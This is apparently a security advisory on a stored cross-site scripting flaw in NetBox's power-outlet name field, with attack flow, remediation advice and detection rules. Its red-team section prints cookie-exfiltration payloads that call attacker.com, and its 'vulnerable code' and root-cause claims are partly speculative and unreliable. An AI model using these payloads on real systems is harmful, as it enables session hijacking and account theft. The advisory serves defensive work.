CVE-2024-40736

Executive Summary

CVE-2024-40736 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in NetBox v4.0.3, specifically within the /dcim/power-outlets/add endpoint. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter of a power outlet. When an administrator or other user views the power outlet list or detail page, the malicious payload executes in their browser, potentially leading to session hijacking, credential theft, or further internal network reconnaissance.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 5.4 (Medium). The attack vector is network-based, requires low privileges, and user interaction (viewing the crafted page). No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and can be weaponized with minimal effort.

Supply Chain & Package Security

NetBox is a Python/Django-based open-source application. This vulnerability does not directly affect the supply chain of PyPI packages, but it highlights the importance of input validation in Django forms. Organizations using NetBox should ensure they are not running unpatched versions and should review their deployment for any custom plugins that may also be vulnerable to similar injection attacks.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires authentication and user interaction, but once exploited, it can lead to full account takeover of any user who views the malicious power outlet entry.

Deep Dive & Mechanics

The vulnerability resides in the PowerOutlet model's name field. When creating a new power outlet via the /dcim/power-outlets/add/ form, the application does not sanitize or escape the name input before storing it in the database. When the power outlet list or detail page is rendered, the stored payload is injected into the HTML without proper encoding, allowing arbitrary script execution.

Root Cause: The Django template likely uses the |safe filter or raw output (e.g., {{ object.name }} without escape) in the admin interface, or the field is rendered in a context where auto-escaping is disabled.

Attack Flow:

1. Attacker authenticates to NetBox (requires a user account with dcim.add_poweroutlet permission).
2. Attacker navigates to /dcim/power-outlets/add/ and enters a payload like <script>alert('XSS')</script> in the Name field.
3. The payload is stored in the database.
4. When an administrator or any user views the power outlet list (e.g., /dcim/power-outlets/), the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# In views or template rendering
# The name field is output without escaping
{{ power_outlet.name }}

Patched Code (Hypothetical Fix):

# Use Django's built-in escape filter
{{ power_outlet.name|escape }}

Or in the model/forms, apply input validation:

from django.core.validators import RegexValidator
name = models.CharField(
    max_length=100,
    validators=[RegexValidator(r'^[a-zA-Z0-9_\- ]+$')]
)

Note: No official patch has been released. The vendor recommends upgrading to the latest version or manually sanitizing input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• NetBox v4.0.3 instance
• Valid user account with dcim.add_poweroutlet permission
• Access to the web interface

Exploit Steps:

1. Log in to NetBox.
2. Navigate to /dcim/power-outlets/add/.
3. In the Name field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the power outlet list. The payload will execute and exfiltrate cookies.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection:

• Monitor logs for unusual POST requests to /dcim/power-outlets/add/ containing <script> or onerror patterns.
• Use WAF rules to block XSS payloads in form fields.

Hardening:

• Apply input validation on the name field (allow only alphanumeric, spaces, hyphens, underscores).
• Ensure Django templates use {{ value|escape }} or enable auto-escaping.
• Restrict dcim.add_poweroutlet permission to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Suspicious POST requests to /dcim/power-outlets/add/ with HTML/JavaScript in the name parameter.

• Host IOCs:

  • Log entries in NetBox's django.request logger showing POST /dcim/power-outlets/add/ with payloads.
  • Database entries in the dcim_poweroutlet table where the name field contains <script> or onerror tags.

• File IOCs:

  • None specific to this CVE.

Detection Engineering

YARA Rule

rule CVE_2024_40736_NetBox_XSS {
    meta:
        description = "Detects stored XSS payloads in NetBox power outlet names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40736"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: NetBox Stored XSS via Power Outlet Name
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2024-40736 by injecting XSS payloads into the power outlet name field.
author: Valters IT
logsource:
    category: web
    product: netbox
detection:
    selection:
        http.method: POST
        http.url: '/dcim/power-outlets/add/'
        http.body|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-40736 NetBox Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/dcim/power-outlets/add/"; http_uri;
    content:"name="; http_client_body;
    pcre:"/(<script|onerror|onload)/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade NetBox to the latest version (if a patch is available).
2. Apply input validation on the name field using Django validators or a WAF.
3. Restrict permissions – only grant dcim.add_poweroutlet to trusted administrators.

Long-Term Fixes:

• Implement Content Security Policy (CSP) headers to block inline scripts.
• Enable Django's auto-escaping in all templates.
• Conduct regular security audits of custom plugins and forms.

Workaround:

• If upgrading is not possible, manually edit the template to escape the name field:

  {{ power_outlet.name|escape }}
  

Valters IT
Securing Digital Infrastructure